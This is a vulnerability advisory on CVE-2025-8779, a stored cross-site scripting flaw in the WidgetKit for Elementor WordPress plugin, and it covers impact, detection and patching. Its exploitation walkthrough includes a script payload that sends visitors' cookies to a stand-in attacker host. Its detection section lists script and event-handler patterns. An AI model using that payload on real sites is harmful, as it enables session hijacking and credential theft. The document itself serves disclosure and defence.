CVE-2025-8779: 
WordPress vulnerability analysis and mitigation

CVE-2025-8779 is a Stored Cross-Site Scripting (XSS) vulnerability in the All-in-One Addons for Elementor – WidgetKit WordPress plugin, affecting all versions up to and including 2.5.6. The flaw exists in the plugin's Team and Countdown widgets due to insufficient input sanitization and output escaping on user-supplied attributes. It was published on December 13, 2025, and assigned a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-site Scripting). Authenticated attackers with contributor-level access or above can supply malicious JavaScript payloads through widget attributes in the Team or Countdown widgets; because these attributes are neither properly sanitized on input nor escaped on output, the scripts are persisted in the database and rendered in page HTML for any visitor. Exploitation requires no special configuration beyond having a WordPress account with at minimum contributor privileges (Wordfence, ENISA EUVD).

Successful exploitation allows an authenticated contributor to inject persistent malicious scripts into WordPress pages, which execute in the browsers of all subsequent visitors — including administrators. This can lead to session cookie theft, credential harvesting, defacement, redirection to malicious sites, or further privilege escalation if an administrator's session is hijacked. Confidentiality and integrity are both impacted at a low level per the CVSS scoring, with no direct availability impact (Wordfence).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported as of the disclosure date. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a contributor-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, ENISA EUVD).

1. Reconnaissance: Identify WordPress sites running the WidgetKit for Elementor plugin (versions ≤ 2.5.6) by checking plugin metadata in page source or using tools like WPScan.
2. Obtain contributor access: Register or compromise a WordPress account with at least contributor-level privileges on the target site.
3. Edit or create a page/post: Use the WordPress editor to add or modify a page containing the WidgetKit Team or Countdown widget.
4. Inject malicious payload: In the widget's user-supplied attribute fields (e.g., name, title, or label fields), insert a JavaScript payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based variant.
5. Publish the page: Save and publish the page; the unsanitized payload is stored in the WordPress database.
6. Trigger execution: Any user (including administrators) who visits the injected page will have the malicious script execute in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints from contributor-level accounts inserting script tags or encoded JavaScript into widget attribute fields.
• Database: Unexpected <script> tags, javascript: URIs, or event handler attributes (e.g., onerror=, onload=) stored in the wp_posts or wp_postmeta tables associated with WidgetKit widget data.
• Network: Outbound HTTP requests from site visitors' browsers to unknown external domains shortly after loading pages containing WidgetKit Team or Countdown widgets.
• File System: No direct file-system artifacts expected for stored XSS; however, monitor for newly created or modified pages/posts containing obfuscated JavaScript patterns.

Update the All-in-One Addons for Elementor – WidgetKit plugin to version 2.5.7 or later, which contains the fix for insufficient input sanitization and output escaping (Wordfence, WordPress Plugin Changelog). As a temporary workaround, restrict contributor-level user registration and limit who can create or edit pages with Elementor widgets. A Web Application Firewall (WAF) with XSS filtering rules can provide additional defense-in-depth while patching is pending.

Wordfence disclosed the vulnerability as part of their weekly WordPress vulnerability report for December 8–14, 2025, noting the patch availability in version 2.5.7 (Wordfence Blog). The vulnerability received standard coverage from automated security feeds including Vulners, CVEFeed, and INCIBE-CERT, with no notable independent researcher commentary or significant social media discussion beyond routine CVE tracking posts.